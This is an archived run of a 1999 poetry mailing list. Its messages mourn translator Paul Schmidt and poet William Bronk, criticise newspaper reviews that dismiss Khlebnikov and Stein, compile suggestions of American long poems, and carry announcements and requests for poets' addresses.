-- Send up to five poems in the body of your email message (no attachments without prior query) to [redacted] -- Submissions must be unpublished (newsgroup or workshop postings are not considered publication) -- Please include a short biography

If you want to sound Peter out on an idea for a critical article, please do. If you'd be interested in taking part in an email discussion of the them, to be reproduced in the issue, let him know mailto:[redacted]

Perihelion is at: http://webdelsol.com/Perihelion/

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253. Mark Prejsnar
Goodbye Paul, Goodby Khlebnikov
Mon 22 Feb 1999

I was very interested to read the Times obit yesterday. I knew a little of Schmidt's work, but learned rather more about what he'd done, from the Times.... There is one oddity, or rather i think maybe it's not odd at all: the reference in the obit is to "the little-known Russian poet Khlebnikov." Now this is very peculiar, and made me blink hard. Why this strangely insistant, not exactly accurate characterization? I mean, is he really "little-known" compared to Mayakovsky or Mandl'stam?? Well, yes sort of, but only if you specify a certain group of academics and intellectuals and poets, but a different (and argeuably more interesting) group would know, or know of, Khlebnikov as readily as the other two.... The very existence of the Harvard UP edition brings the need for this aside into question... To most common or garden variety intellectuals (not to mention the person-in-the-street) the "knownness" of Khlebnikov versus Ahkmatova or Blok is much of a muchness....Methinx the obit writer protests too much: It would seem that the phrase is really (ideologically) saying: the poet whom i and other right-thinking person believe *should not be known* to anyone..... It reminds me of those ignorant hack reviews (which i have critiqued on this list before) which attacked the superb bio, Poet Be Like God. One of them refered to Spicer as a poet who has had no influence... Maybe no remark has ever been made that more defined the writer as being ignorant of the contemporary poetry scene.....

Ron S. of course has a well-known essay in which he speaks of how poets are "disappeared" by the literary establishment... Here are more instances of disappearing in action.....

Mark Prejsnar

On Sun, 21 Feb 1999, Charles Bernstein wrote:

> *Very sad to find an obituary in the NY Times today for Paul Schmidt, who I got to know in the mid-80s and very much admired. Of his work, I think primarily of Paul's three-volume translation of Khlebnikov, published by Harvard University Press (the final, long delayed, third volume of the poems came out in 1997) -- because that work was so important to me, and I had the chance to talk to Paul about it. But he is equally known for his libretti, his own poems, and his translation of Rimbaud, among many other projects.*
>
> *Paul was 65 years old and in many ways at the height of his career. Here is yet another instance of that unspeakable horror that continues to plunder our culture and haunt its survivors. His death can't help but bring to mind the generations of poets (and artists and nonpoets and nonartists) ravaged by this scourge called AIDS.*
>
> *--Ch.B.*
>
> ****
> *Here is the Times's Obituary:*
>
> *Paul Schmidt, Translator, Poet and Actor, Dies at 65*
>
> *By STEPHEN HOLDEN*
>
> *NEW YORK -- Paul Schmidt, a librettist, translator, poet, teacher and actor who collaborated with many major avant-garde theater artists, died at St. Luke's-Roosevelt Hospital Center on Friday. He was 65.*
>
> *The cause of death was complications of AIDS, said his brother Jim.*
>
> *Schmidt was known best for translating the complete works of Rimbaud and the plays of Chekhov. He also devoted many years to translating the complete works of Velemir Khlebnikov, a little-known Russian poet who died of malnutrition in 1922 at the age of 37. A production of Khlebnikov's play "Zangezi," first seen in Los Angeles in 1986 and directed by Peter Sellars (it was later staged at the Brooklyn Academy of Music) was one of Schmidt's several notable collaborations with leading experimental directors.*
>
> *Another was his libretto for "Alice," an adaptation of Lewis Carroll's "Alice's Adventures in Wonderland" and "Through the Looking Glass," which was a high point of the Brooklyn Academy of Music's Next Wave Festival in 1995.*

A collaboration with the director Robert Wilson and the composer Tom Waits, "Alice" was praised by The New York Times for elucidating "an international theatrical style in which Minimalism, German Expressionism, Japanese kabuki and American pop bump up against one another in a grand, eye-catching pageant."

Schmidt's libretto was described as capturing "a strain of late-19th-century romantic lyricism and drawing it out with a graceful literary refinement."

For the Wooster Group's 1990 theater piece, "Brace Up!," Schmidt supplied a translation of Chekhov's "Three Sisters" that incorporated dance sequences and video, and he also appeared in the production. It was one of many small roles he played on the stage. For JoAnne Akalaitis' 1989 production at the Guthrie Theater in Minneapolis of Jean Genet's five-and-a-half-hour, 100-character play "The Screens," he created the text out of three versions the playwright had left behind.

Other playwrights whose works he translated for theater productions include Gogol, Brecht and Marivaux. "Black Sea Follies," his original play about Stalin and Shostakovich (with music by the composer) was presented by Playwrights Horizons and the Music Theater Group in 1986.

Schmidt was born in Brooklyn and attended Colgate and Harvard, where he wrote his dissertation for his doctorate in Slavic languages on the influential Russian director Vsevolod Meyerhold. While at Harvard, he became involved with a now-legendary circle of friends who produced plays at the Agassiz Theater in Cambridge in the summers.

The group included the actors Lindsay Crouse, Tommy Lee Jones, John Lithgow, Kathryn Walker, Stockard Channing (to whom Schmidt was married for seven years)
and the director and writer Tim Mayer, whose collected poems and plays he edited under the title "Running From America."

From 1958 to 1960, he served in the U.S. Army as a member of Army intelligence. From 1967 to 1976, he taught Slavic languages at the University of Texas in Austin. He published two volumes of poetry, "Night Life" and "Winter Solstice" (both 1996, Painted Leaf Press).

A collection of Rimbaud translations with photographs by Robert Mapplethorpe, titled "A Season in Hell," was in published in 1997 (Little, Brown).

In addition to his brother Jim, he is survived by three sisters, Mary Kay Murray, Margaret Sand and Anne Schmidt; another brother, Thomas, and his friend, Mark Bennett.

February 21, 1999 (c) The New York Times

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254. Richard Carfagna
david jones
Mon 22 Feb 1999

Hi,
 I'm looking to find critical essays on the poetry of david jones.
 If anyone knows of books devoted to him exclusively could you let me know,
 or if you know of any websites he might appear.
 Thanks, ric

↑ Index

255. Steven Shoemaker
Re: Goodbye Paul, Goodby Khlebnikov
Mon 22 Feb 1999

In Sunday's NYTBR there's another case pretty close to what Mark P. is talking about in his post about the "disappearing" of artists. In a review of a new book about the theatrical debut of Stein's Four Saints.. the reviewer keeps insisting that the project was somewhat perversely organized by and around "second-rate" artists. That is, Pound and Joyce were both interested in doing the libretto but the second-rate Stein was chosen instead. Virgil Thomson (2nd-rate) did the score rather than Stravinsky (or some other first-rater, I don't have the paper with me). The second-rate choreographer (whose name was unfamiliar to me) was *not* Balanchine, and so on. Sure, one's entitled to make value judgments, but as Mark was suggesting the whole *structure* of judgment here seems fundamentally ideological, as if there's some implied law of conservation of genius at work... steve

↑ Index

256. Poetry Project
this week at poproj: addendum
Mon 22 Feb 1999

Oops,

Last Friday we forgot to include what was omitted on the Calendar!

FRIDAY

Feb. 26th

at 10:30 pm

A Performance of Divison of Habitat

The Concert of Endangered Species will perform selections from the cycle Division of Habitat, a series of site-specific concert pieces exploring the dynamic relationship between music and text, the fusion of the two producing a "theatrical" event. The Concert of Endangered Species has been performing these events in a variety of unusual locales around New York City since 1993 under the direction of Lee Elickson.

More info: call [redacted]

Thanks and good night

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257. Ron Silliman
Disappearing Stein (stupid modernism)
Mon 22 Feb 1999

Ron S. of course has a well-known essay in which he speaks of how poets are "disappeared" by the literary establishment... Here are more instances of disappearing in action.....

Mark Prejsnar

Nobody excels at this better than the NY Times. Jim Holt makes a bold grab at the Vendler-Pinochet award for 1999 in the current NYT book review in his piece on Steven Watson's _Preparing for Saints_, a history of the staging of Four Saints in Three Acts, when Holt invents a bifurcated modernism in which Joyce = smart, dense, full o' references you could look up, Stein = flat, surfacy, "word salad." In short, "stupid modernism". Here's the passage that made me reach for the beta blockers:

'Was the thing any good?

'It's an important question. If, as Watson's subtitle suggests, this opera was crucial to the ''mainstreaming of American modernism,'' one would like to have some assurance that the right kind of modernism got mainstreamed. And what's striking about ''Four Saints'' is its rejection of the modernism of complexity -- the modernism of Picasso, Schoenberg and Joyce -- in favor of the modernism of simplicity.

'That was largely Thomson's doing. As ''Prepare for Saints'' makes clear, this indefatigable little man was the motive force behind America's first full-scale Gesamtkunstwerk. In addition to creating the music for the opera, he determined its overall esthetic shape by his choice of collaborators. In doing so he consistently fought shy of the great in favor of the quirky and second-rate. Both Pound and Joyce expressed interest in doing a libretto for him. Instead he

sought out Stein, who fancied herself a Cubist of words but whose writings had none of the structural rigor characteristic of Cubism. The resulting text -- ostensibly about Teresa of Avila, Ignatius Loyola and a supporting cast of lesser saints -- was a jumble of children's rhymes, word games and random verbiage that rarely lurched into sense. ''The two things you never asked Gertrude, ever, were about her being a lesbian and what her writing meant,'' a pleased Thomson commented."

You will note the clever way Holt quotes Thomson, so as to make the gratuitous homophobic dig not his responsibility (indeed, that of a gay man). You will also note that Holt's simply WRONG! There is certainly enough evidence, from Dick Bridgman to Ulla Dydo, to demonstrate that Stein's work is anything but "quirky and second-rate." Stein's "problem," it would seem, is that it does not lend itself to the sort of old fashioned content analysis that Holt grew up with (presuming here, as his review suggests, that he's 15 years older than I am, or at least permanently embedded in the late 1940s). But then, in his view, she's not even the one responsible for her work: it's Virgil who's to blame.

Even more infuriating than Holt's demonstration of illiteracy is the presumption that "one would like to have some assurance that the right kind of modernism got mainstreamed." A perfect instance of the critic as gatekeeper (disappearer) modeled for us here. Hilton Kramer would be proud.

The reality of course was/is that there were/are as many modernisms as there were, in fact, modernists and perhaps even "modernist works." The idea of channeling all thought down to a soundbyte, as this would have intellectual history do, ought to drive up the identarian paranoia of every reader and writer amongst us.

Perhaps it's fitting, therefore, to find out, as the NYT blurb on Holt says, "is working on a book about the history of the idea of the infinitesimal." This, we suspect, will be a memoir.

Ron

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258. **Elizabeth Treadwell**

Outlet (3) is here

Mon 22 Feb 1999

Hi all--
Happily announcing the publication of

Outlet (3) Ornament

72 pp, our biggest issue yet, and gorgeous, frankly

with

poems
by
Franklin Bruno
MTC Cronin
MK Francisco
Rosemary Griggs
Brenda Iijima
Johanna Isaacson
Jason Lynn
Laura Moriarty
Yedda Morrison
&
Elizabeth Robinson

pensees
by
Malcolm de Chazal
translated by Irving Weiss

a superfantastic fashion collaboration
by
Jason Nelson
& lilytank designs

fiction
"The Girl with the Heart-Shaped Heart"
by
Carol Treadwell

an interview "Re: Harper's Bazaar"
with Harriet Zinnes

& reviews of new & newish books
Jocelyn Saidenberg by David Buuck
Jeff Clark by Jacques Debrot
Myung Mi Kim by William Freind
Cydney Chadwick by Cheryl Burket
Jacqueline Risset by Jacques Debrot

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available now now now
for a mere five dollars
please make checks to the editor,
Elizabeth Treadwell

contributors on the list: your copies are in the mail
(except JD & HZ, I need your addresses, thanks)

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P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

259. Burt Kimmelman

William Bronk, 1918-1999 (please see way

Mon 22 Feb 1999

From: MX%"[redacted]" 22-FEB-1999 19:46:42.51
To: MX%"[redacted]"
CC:
Subj: William Bronk, 1918-1999

Mon, 22 Feb 1999 19:46:40 EST
mail-gw2.njit.edu (8.8.7/8.8.7) with ESMTP id UAA04007 for
<[redacted]>; Mon, 22 Feb 1999 20:06:19 -0500
Mon, 22 Feb 1999 19:47:18 -0500 (EST)
Date: Mon, 22 Feb 1999 19:47:18 -0500 (EST)
using -f
To: [redacted]
From: "Burt J. Kimmelman (14979)" <[redacted]>
Reply-To: [redacted]
Subject: William Bronk, 1918-1999

Date: 2 Feb 1999 19:47:18 -0500
Lines: 46

M 23885 Burt J. Kimmelman (Burt,14979) 2/22/99 7:47 PM 46 lines

TO: "Burt Kimmelman -@NJIT" Subject: William Bronk, 1918-1999

William Bronk (1918-1999) died some time last night, apparently peacefully.

The Smile on the Face of a Kouros

This boy, of course, was dead, whatever that
might mean. And nobly dead. I think we should feel
he was nobly dead. He fell in battle, perhaps,

and this carved stone remembers him
not as he may have looked, but as if to define

the naked virtue the stone describes as his.
One foot is forward, the eyes look out, the arms
drop downward past the narrow waist to hands
hanging in burdenless fullness by the heavy flanks.
The boy was dead, and the stone smiles in his death
lightening the lips with the pleasure of something achieved:
an end. To come to an end. To come to death
as an end. And coming, bring there intact, the full
weight of his strength and virtue, the prize with which
his empty hands are full. None of it lost,
safe home, and smile at the end achieved.

Now death, of which nothing as yet - or ever - is known,
leaves us alone to think as we want of it,
and accepts our choice, shaping the life to the death.
Do we want an end? It gives us; and takes what we give
and keeps it; and has, this way, in life itself,
a kind of treasure house of comely form
achieved and left with death to stay and be
forever beautiful and whole, as if
to want too much the perfect, unbroken form
were the same as wanting death, as choosing death
for an end. There are other ways; we know the way
to make the other choice for death: unformed
or broken, less than whole, puzzled, we live
in a formless world. Endless, we hope for no end.

I tell you death, expect no smile of pride
from me. I bring you nothing in my empty hands.

- William Bronk

(Life Supports: New and Collected Poems, page 66; orig. pub. in The Empty Hands, 1969)

- Burt Kimmelman
..

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260. **pete spence**
Re: Goodbye Paul, Goodby Khlebnikov
Mon 22 Feb 1999

---

the reference in the obit is to "the little-known Russian poet
>Khlebnikov." Now this is very peculiar, and made me blink hard. Why
this
>strangely insistant, not exactly accurate characterization? I mean, is
he
>really "little-known" compared to Mayakovsky or Mandl'stam?? Well, yes
>sort of, but only if you specify a certain group of academics and
>intellectuals and poets, but a different (and argeuably more
interesting)
>group would know, or know of, Khlebnikov as readily as the other
two....

>
>Mark Prejsnar
>
seems to me Khleb was well known enuf!!! there's a lot of other stuff
written around his circa that could do well with being as well known and
i'm waiting for a read when they are//pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

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261. **Mark Weiss**
Bill Bronk
Tue 23 Feb 1999

I just heard from a mutual friend that Bill Bronk died this morning. A great loss.

↑ Index

262. **Edward Foster**
William Bronk
Tue 23 Feb 1999

William Bronk, for many us the greatest poet of his generation, died yesterday at his home in Hudson Falls, New York. He was eighty-one. His last poem, left in manuscript beside his chair, follows:

Art isn't made, it's in the world almost
unseen but found existent there. We paint,
we save the sound in music, we write it down.

↑ Index

263. Lisa Bourbeau
missing person
Tue 23 Feb 1999

---

i realize this may no longer be an appropriate place for this but:

does anyone by any chance have a new email address for Brent Long, who used to post occasionally on this list? if so, could you please backchannel?

thanks,

lisa

↑ Index

264. Poetics List
long poem / Rosenthal
Tue 23 Feb 1999

Had to reformat this message. Chris

---------- Original message (ID=C6699424) (124 lines) ----------

From: "Jennifer Rosenthal" <[redacted]>
To: <[redacted]>
Subject: long poem
Date: Mon, 22 Feb 1999 12:06:44 -0500

Here is a compellation of the responses to my email asking for suggestions of American long poems written 1945-1960. Please let me know if you think of a poem that isn't here. Thanks to all those who responded!!

Jennifer Rosenthal

The Cantos, Ezra Pound
The Maximus Poems, Charles Olson
Paterson, William Carlos Williams
Helen in Egypt, HD
Stevens' late long poems
Montage of a Dream Deferred, Langston Hughes
Testimony: A Recitative, Charles Reznikoff
The Dragon and the Unicorn, Kenneth Rexroth
Paean to Place, Lorine Niedecker
'A', Louis Zukosky
The Alphabet, Ron Silliman
The Heart's Garden, the Garden's Heart, Kenneth Rexroth
Desamere, Alice Notely

Draft, Rachel Blau DuPlessis
Midwinter Day, Bernadette Mayer
Howl, Allen Ginsberg
Kaddish, Allen Ginsberg
Ode to Michael Goldberg's Birth and Other Births, Frank O'Hara
In Memory of My Feelings, Frank O'Hara
Biotherm, Frank O'Hara
Memorial Day, Frank O'Hara
Second Avenue, Frank O'Hara
When the Sun Tries to go on, Kenneth Koch
Ko: Or a Season on Earth, Kenneth Koch
One Life, Muriel Rukeyser
Sea and the Mirror, W.H. Auden
Lost Son sequence, and other sequences, Theodore Roethke
Letter to an Imaginary Friend Melvin Tolson -- The Libretto for the Republic of Liberia,Thomas McGrath
Myths and Texts, Gary Snyder
Imaginary Elegies, Jack Spicer

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265. **schuchat**
Re: Goodbye Paul, Goodby Khlebnikov
Tue 23 Feb 1999

I mentioned Paul Schmidt's death to my Russian teacher this morning, who expressed amazement that anyone could translate Khlebnikov into English, since even Russians can't understand him!

In Russian terms, I think Khlebnikov is very well-known for two or three pieces (e.g., the laugh poem) and as an image. Perhaps something like the non-literary educated American's sense of Stein.

Khodasevich is the real "little known" Russian poet.

I didn't have any problem with Steve Holden's obituary for Paul Schmidt.

The piece on Stein's Saints, on the other hand, was abysmal.

↑ Index

266. **Michael Boughn**
Re: long poem / Rosenthal
Tue 23 Feb 1999

Additional "epic": John Clarke, In the Analogy. Also H.D, The War Trilogy, and Ronald Johnson, Ark

best,
Mike

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267. David Kellogg
Re: long poem / Rosenthal
Tue 23 Feb 1999

> *From: "Jennifer Rosenthal" <[redacted]>*
>
> *Here is a compellation of the responses to my email asking for suggestions of American long poems written 1945-1960. Please let me know if you think of a poem that isn't here. Thanks to all those who responded!!*
>
> *The Alphabet, Ron Silliman*

I think Ron was a 14 years old in 1960.

Cheers,
David
~~~
~~~

Should it surprise us, having known the holes
of darkness in the longest days?

I have done
with promises (or say I have) of things
to come: the all-light; the all-dark;
something slow emerging; the slow (or fast)
and final decay.

The thing we have to live
with, the last thing, is it is all
here, and was, and will be, is all there is.
Nothing is coming but what is already here
as this light, now, in the darkest time
(and nothing here that ever needed to come)
at once, too much for us and not enough.

from All of What We Loved (Talisman House, 1998):

CERTAINTIES

A certain one whose name was his real name
lived in a real place at a certain time.
Then the time was gone and the real all gone.

..
Christopher W. Alexander, ed.
nominative press collective
19 Hodge Avenue #9 / Buffalo NY 14222
[redacted] / [redacted]

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269. Emily Grossman
Page Mother Transport
Tue 23 Feb 1999

Dear List,

Am looking to share a car ride down to San Diego from the S.F. area to the Page Mothers Conference on March 5. If anyone has room in their car and would like some extra gas money, please backchannel.

Thanks a bunch,

Emily Grossman
[redacted]

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270. Lowther,John
Re: long poem / Rosenthal
Tue 23 Feb 1999

---

some of David Antin's "talk poems" seem of sufficient length and also frequently are rooted in place if not "centered" in it

i'm thinking of "real estate" in particular

but there are others in his later collections in which NYC is central or his sense of being a NYer in southern california

)L

↑ Index

271. Aldon Nielsen
Re: Disappearing Stein (stupid modernism)
Tue 23 Feb 1999

---

and for those of you who may not have read the "aminstreaming modernism" review yet -- take a good look at the role the black cast of SAINTS plays in this fellow's version of modernist reception --

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272. Poetics List
Re: long poem
Tue 23 Feb 1999

From: "Bradford J Senning" <[redacted]>
Date: 2/23/99 10:07 AM -0700

One poem your list is missing is John Ashbery's "Europe" from _The Tennis Court Oath_, which I believe was published in 1962, but "Europe" may have been let out earlier. At any rate, it's quite an achievement in long poetry.

Bradford Senning

↑ Index

273. Poetics List
Re: long poem / Rosenthal
Tue 23 Feb 1999

Had to reformat this one. Chris

---------- Original message (ID=2A5DCE97) (55 lines)

To: UB Poetics discussion group <[redacted]>

From: Sylvester Pollet <[redacted]>
Subject: Re: long poem / Rosenthal

ARK, Ronald Johnson

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274. Poetics List
Re: long poem / Rosenthal
Tue 23 Feb 1999

Had to reformat this one. Chris

---------- Original message (ID=7208ABDA) (71 lines)

Date: Fri, 19 Feb 1999 07:16:52 -0700
To: UB Poetics discussion group <[redacted]>
From: Charles Alexander <[redacted]>
Subject: Re: long poem / Rosenthal

A lot of post-1960 work in this list (Silliman, Blau Du Plessis, and others). If you're going to include post-1960 work I would hope you would define "American" as meaning more of the continent than the United States, so as not to leave off marvelous works by bpNichol, Phyllis Webb, Daphne Marlatt, George Bowering, and other Canadians. Plus Brathwaite, Walcott, and other Caribbean writers. I apologize for not being so informed about pre-1960 Canadian work -- perhaps others could help in this regard.

charles

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275. Poetics List
CFP: Robinson Jeffers (3/25; MLA 1999)
Tue 23 Feb 1999

This came to me for the list. Chris

From: "Joe Aimone" <[redacted]>
Date: 2/23/99 7:53 AM -0800

CALL FOR PAPERS

Current Attractions of Robinson Jeffers

For a proposed special session at the 1999 MLA Convention, proposed on behalf of the Robinson Jeffers Association, papers on the current attractions of the poetry of Robinson Jeffers are requested.

Send 50-100 word abstracts only (for 15-20 minute papers), plus information on institutional affiliation and rank if any (brief cv ok) by March 25, SOONER IF POSSIBLE.

Include electronic mailing address and telephone numbers in submission for replies; no paper replies will be mailed, though paper submissions will be considered.

Joseph Aimone
[redacted]
English Department
Truckee Meadows Community College
7000 Dandini Boulevard
Reno, Nevada 89509

Presenters must be members of the Modern Language Association with dues paid up by April 1, 1999.

Robinson Jeffers's poetry has retained a small but dedicated following of readers who are neither writers themselves nor critics and scholars. He has also remained of interest to a handful of serious scholars, and his poetry has remained a standard and vivid presence for students, who often find his work refreshingly straightforward and yet disturbing, as they dismiss much modernist poetry of Jeffers' cohorts for being obscure and of only academic interest. And poets in large numbers, from many different schools, continue to respect and even revere Jeffers as a landmark at least and often a direct if not visible influence in American and other English language poetry. Jeffers is a narrative and dramatic poet of Aeschylean power, a lyricist of striking sublimity and a jeremiadical philosopher poet with a granite vision of transcendence that puts the human in its pitifully small place in a grand and inhumanly beautiful universe.

But why should Jeffers claim the interest of a wider circle of readers now? How does his refusal of the pieteies of modernism sit with postmodern interpreters and recalcitrant defenders of either the modernist canon or with the soft deconstruction multiculturalism visits on a culture he thought already doomed to irrelevance in nature? How does his fulminant and mordant view of nature figure in the eco-critical discourses of the new millenium? How do his unapologetic portrayals of strong and evil sexuality and fatality make sense in the gender politics of a constructivist or strategically essentialist feminism or a multiply and polymorphously perverted psychoanalytic world of theory? Is there anything queer about Jeffers? How do his racially and ethnically mestizo characterizations and narratives pollute the hybrid paradigms of current reading? How does his insistently neoclassic poetics rattle the chains of contemporary poetry and criticism of all types and precepts? How does Jeffers

rocky coastal California sensibility rock the assumptions of regionalism? How does his censored antiwar antiauthoritarian politics speak today? What nation is Jeffers' USA? Now that we live in the future, are we ready for Jeffers, who (as he put it himself) wrote "for antiquity?"

--
Joe Aimone
[redacted]

↑ Index

276. Lowther,John
David Antin
Tue 23 Feb 1999

---

poetix

davidantin is one of my favorite poets & has had a huge impact on my writing

i've been trying to collect as much material by and about him as i can find
and two things in particular have elluded me

his book TALKING published by the Kulchur Foundation
and a special issue of the magazine VORT which focused on Antin and Rothenberg

ultimately i wd like to own both of these items but in the absense of that
i'd like to get copies of the poems in the former that do not appear in the
sun & moon SELECTED POEMS and copies of all the Antin specific material in
VORT

is there anyone who cd help me with this (i'm, of course, willing to pay postage & copying costs etc)

i've also got the beginnings of a bibliography started (with the help of a
librarian friend) but i know that it's unfinished and it also doesn't cover
material about him by other critics poets etc

any suggestions in this regard or discussion of Antin wd be cool

thanx

)L

↑ Index

277. MAXINE CHERNOFF
Re: long poem / Rosenthal
Tue 23 Feb 1999

Paul Hoover's book-length poem, THE NOVEL (New Directions, 1990).

On Tue, 23 Feb 1999, Lowther,John wrote:

> *some of David Antin's "talk poems" seem of sufficient length and also frequently are rooted in place if not "centered" in it*
>
> *i'm thinking of "real estate" in particular*
>
> *but there are others in his later collections in which NYC is central or his sense of being a NYer in southern california*
>
> *)L*

↑ Index

278. Maria Damon
lorenzo thomas
Tue 23 Feb 1999

does anyone out there have lorenzo thomas's e-mail? i had his card in my hand not 1 hr ago, and now i can't find it. feeling like a dope --md

↑ Index

279. Kathy Lou Schultz
Re: long poem / Rosenthal
Tue 23 Feb 1999

Address for _Talisman_ anyone?
(Thought I had the correct one, but just received something returned "not deliverable.")
Thank-yee.
[redacted]

↑ Index

280. acgold01
Addresses
Tue 23 Feb 1999

Could someone please backchannel me with e-mail addresses for Ben Friedlander and Ed Foster? I can't find anything for Ben, and the one I have for Ed isn't working. Thanks in advance.

Alan

PS: Send to [redacted], as I may be away from my work account for a couple of days.

↑ Index

281. Todd Baron /*/ ReMap
Re: William Bronk
Tue 23 Feb 1999

---

a wondrous thing about B. Bronk: years ago--at a job I hated--I showed a person who had not yet come to poetry--ever--a poem of his: she went out and bouoght a book of his.

HIS is a work thta did all the things (I) (we) want
the poem to say and do. THat is,
be poetry. be it.

already missed.

ToddBaron

↑ Index

282. Pierre Joris
Re: long poem / Rosenthal
Tue 23 Feb 1999

Poetics List wrote:

> *Had to reformat this message. Chris*
>
> *---------- Original message (IDÆ699424) (124 lines) ----------*
>
> *From: "Jennifer Rosenthal" <[redacted]>*
> *To: <[redacted]>*
> *Subject: long poem*
> *Date: Mon, 22 Feb 1999 12:06:44 -0500*
>
> *Here is a compellation of the responses to my email asking for*

> *suggestions of American long poems written 1945-1960. Please let me know if you think of a poem that isn't here. Thanks to all those who responded!!*
>
> *Jennifer Rosenthal*
>
> *The Cantos, Ezra Pound*
> *The Maximus Poems, Charles Olson*
> *Paterson, William Carlos Williams*
> *Helen in Egypt, HD*
> *Stevens' late long poems*
> *Montage of a Dream Deferred, Langston Hughes*
> *Testimony: A Recitative, Charles Reznikoff*
> *The Dragon and the Unicorn, Kenneth Rexroth*
> *Paean to Place, Lorine Niedecker*
> *'A', Louis Zukosky*
> *The Alphabet, Ron Silliman*
> *The Heart's Garden, the Garden's Heart, Kenneth Rexroth*
> *Desamere, Alice Notely*
> *Draft, Rachel Blau DuPlessis*
> *Midwinter Day, Bernadette Mayer*
> *Howl, Allen Ginsberg*
> *Kaddish, Allen Ginsberg*
> *Ode to Michael Goldberg's Birth and Other Births, Frank O'Hara*
> *In Memory of My Feelings, Frank O'Hara*
> *Biotherm, Frank O'Hara*
> *Memorial Day, Frank O'Hara*
> *Second Avenue, Frank O'Hara*
> *When the Sun Tries to go on, Kenneth Koch*
> *Ko: Or a Season on Earth, Kenneth Koch*
> *One Life, Muriel Rukeyser*
> *Sea and the Mirror, W.H. Auden*
> *Lost Son sequence, and other sequences, Theodore Roethke*
> *Letter to an Imaginary Friend Melvin Tolson -- The Libretto for the Republic of Liberia,Thomas McGrath*
> *Myths and Texts, Gary Snyder*
> *Imaginary Elegies, Jack Spicer*

Besides Silliman -- someone alreday mentioned his age in 1960 --, Notley, Duplessis & Mayer all started to publish after 1960 & heir major is post-1970.

--
==========Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]

fax: [redacted]
==========Nomadism answers to a relation that possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

283. **Pierre Joris**
Re: long poem / Rosenthal
Tue 23 Feb 1999

Poetics List wrote:

> *Had to reformat this one. Chris*
>
> *---------- Original message (ID=7208ABDA) (71 lines) ----------*
> *Date: Fri, 19 Feb 1999 07:16:52 -0700*
> *To: UB Poetics discussion group <[redacted]>*
> *From: Charles Alexander <[redacted]>*
> *Subject: Re: long poem / Rosenthal*
>
> *A lot of post-1960 work in this list (Silliman, Blau Du Plessis, and others). If you're going to include post-1960 work I would hope you would define "American" as meaning more of the continent than the United States, so as not to leave off marvelous works by bpNichol, Phyllis Webb, Daphne Marlatt, George Bowering, and other Canadians. Plus Brathwaite, Walcott, and other Caribbean writers. I apologize for not being so informed about pre-1960 Canadian work -- perhaps others could help in this regard.*
>
> *charles*

& even if you stayed US-sides after 60, there is major long work to be added: Ed Dorn's Slinger, Robert Kelly's Axon Dendron Tree and The Loom, Rothenberg's Poland 1931, Ted Enslin's Forms, Synthesis, and Ranger, Diane Di Prima's Loba, Steve Jonas' Orgasms/Dominations, David Meltzer's Hero/Lil, Frank Samperi's trilogy (The Prefiguration; Quadrifarian; and Lumen Gloriae), Ed Sanders' 1968, Anne Waldman's Iovis, -- not to mention such britishers as Allen Fisher's Place or Iain Sinclair's Lud Heat.

pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/

6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

284. Tina Rotenberg
please post -- thank you!
Wed 24 Feb 1999

---

* Press Release *

from: Listening Chamber
poetry & poetics

contact: Steve Dickison, editor & publisher
1605 Berkeley Way, Berkeley CA 94703
tel [redacted] fax [redacted]
e-mail: [redacted]

subject: _Empty Gate_, by Susan Thackrey
ISBN: 0-9639321-4-4
84 pages, $10.00

distributed by: SPD/Small Press Distribution, Inc.
1341 Seventh St, Berkeley CA 94710-1403
tel [redacted] or [redacted]
e-mail: [redacted]
website: www.spdbooks.org

San Francisco poet Susan Thackrey's debut book of poetry, _Empty Gate_ -- "a long-awaited superb first book" (Norma Cole) -- collects six sequences of poems in a work of singular endeavor, attention, and lyric intelligence.

Ms. Thackrey, a member of the inaugaural class in poetics at New College of California when that program was created around the occasion of Robert Duncan's teaching, now works in San Francisco as a practicing analyst. _Empty Gate_ is dedicated to Duncan, and opens with an epigraph from William of Aquitaine's Provençal canzon:

 Farai un vers de dreyt nien ("I'll make a verse of pure nothing")

The simplicity of that claim or complaint hides a question that haunts poetry again and again. How does anyone, out of pure nothing -- struck speechless or destituted, the ground pulled out or opened up -- find a place to speak? Out of negatives then, such silences ("so what is it that holds its shape / shot full of holes maintains its hold / informs on us in time") the question becomes how to find a way, "unfounded just here."

Empty Gate joins Norma Cole's _Mars_ and Duncan McNaughton's _Valparaíso_ as the third book in the Listening Chamber Poetry Series.

About _Empty Gate_:

Benjamin Hollander:

"Agape at this gate, we enter the mythic consciousness of the human -- its origins and horizons, its wounds and desires, its benevolences and violations. Here we come to moments of luminous grace and _understanding_ by _standing under_ a momentum of words which 'cannot be dispelled from the world,' breaking like waves, compressed to a gasp. Here is the transcendent shock of recognition for the beings who 'beg mercy/bear fire,' even if recognition bears no word.'"

Diane di Prima:

"_Empty Gate_ frames vision vast as the sky, out of time, but intimate as the moon on a fingernail. Here keen poetic intelligence bends to the heartspace, listens. Susan Thackrey holds loss, joy, memory: bits of gold in an open hand -- an offering."

Norma Cole:

"In musical registers distinctly its own, Susan Thackrey's _Empty Gate_ is an intricately fashioned work of generosity and restraint. With cut-glass clarity, the double VENUS at its literal center reveals the inevitability of echo and the power of erasure, 'dreaming no / in the sleep of yes.' The _here_ and _there_, the _then_ and _now_ have never been so close. It is a long-awaited superb first book."

--- ---

Listening Chamber
poetry & poetics

Steve Dickison, editor & publisher
1605 Berkeley Way, Berkeley CA 94703
tel [redacted] fax [redacted] e-mail: [redacted]

↑ Index

285. **Michael Boughn**
Re: long poem
Wed 24 Feb 1999

A further suggestion, if you want to get out of the 20th century box--Melville's Clarel. It's really a unique poem, the first american shot at an epic to the best of my knowledge. And though the prosody is traditional (rhyming couplets in iambic tetrameter--25,000 lines of it) the content is already heavily post-modern.

Mike

↑ Index

286. **Michael Boughn**
question
Wed 24 Feb 1999

Does any body know a sexy Greek word for "teacher"?

Mike

↑ Index

287. **louis stroffolino**
RONK AND/OR RATCLIFFE REQUEST...
Wed 24 Feb 1999

Does anybody here have, and/or know, the CURRENT addresses (snail mail preferably, although both if you have them) for
Martha RONK and Stephen RATCLIFFE....
if so, i'd appreciate the addresses of these poet/SHakespeareans...
